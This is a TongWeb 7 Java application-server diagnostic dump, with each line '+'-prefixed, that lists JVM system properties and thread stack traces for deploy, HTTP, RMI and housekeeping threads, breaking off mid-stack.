+com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory +useInsAnnoCheckCache: false +java.awt.printerjob: sun.print.PSPrinterJob +authconfigprovider.factory: false +java.security.policy: /opt/tweb7/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +tongweb.base: /opt/tweb7 +package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web. +tongweb.app: /opt/tweb7/deployment +java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb7 +java.security.egd: file:/dev/./urandom +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: ${pom.version} +disableVerCode: true +java.specification.vendor: Oracle Corporation +WebserviceCXF.OFF: true +contentLength.limit: 10000 +jvProfile: true +java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +tongweb.rmijmx.cbport: 7200 +java.vm.vendor: Oracle Corporation +common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +WebModuleOnly: false +java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +tomee.serialization.class.blacklist: - +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb7/temp +xss_apps: console,heimdall +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +switchCharacterEncoding: false +server.loader: +cdi.passivate: false +java.rmi.server.hostname: 172.17.0.4 +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb7/bin +ShutdownSocketDisabled: false +tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/ +useBeanManagerInCompJNDI: false +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +openejb.base: /opt/tweb7 +startup.secure: false +file.encoding: UTF-8 +persistenceLogSavePath: persistence +tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb7 + +=========================================== + +ThreadStacks: +"Auto-deploy-timer" #166 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.util.zip.ZipFile.read(Native Method) + at java.util.zip.ZipFile.access$1400(ZipFile.java:61) + at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:738) + at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:753) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.io.DataInputStream.readUnsignedShort(DataInputStream.java:338) + at java.io.DataInputStream.readUTF(DataInputStream.java:589) + at java.io.DataInputStream.readUTF(DataInputStream.java:564) + at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164) + at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160) + at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123) + at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234) + at javax.xml.bind.ContextFinder.find(ContextFinder.java:462) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:717) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:744) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:247) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:123) + at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:355) + at com.tongweb.deploy.TongWebDeployer.deploy0(TongWebDeployer.java:399) + at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:318) + at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:278) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:69) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:222) + at java.util.TimerThread.mainLoop(Timer.java:555) + at java.util.TimerThread.run(Timer.java:505) + +"JCA-default-thread-pool-worker-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7a2bb9d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio2-8080-exec-6" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@469fb1a6 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio2-0.0.0.0-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #100 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #92 [WAITING] on java.lang.ref.ReferenceQueue$Lock@77931799 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1d19de6d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-5100-exec-8" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(idle)" #96 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a64f4b1 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-29" #137 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552413bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@61d55c4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-8080-Acceptor-0" #103 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@22fe94e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-6" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"IntelligentRouterHealthInfoCollector" #161 [TIMED_WAITING] on java.util.TaskQueue@3fa22d7a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"JCA-default-thread-pool-worker-6" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"snapshot" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@4aee48fe + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI TCP Accept-7200" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-AsyncTimeout" #102 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-172.17.0.4" #93 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1807913901.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #40 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"http-nio2-0.0.0.0-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at 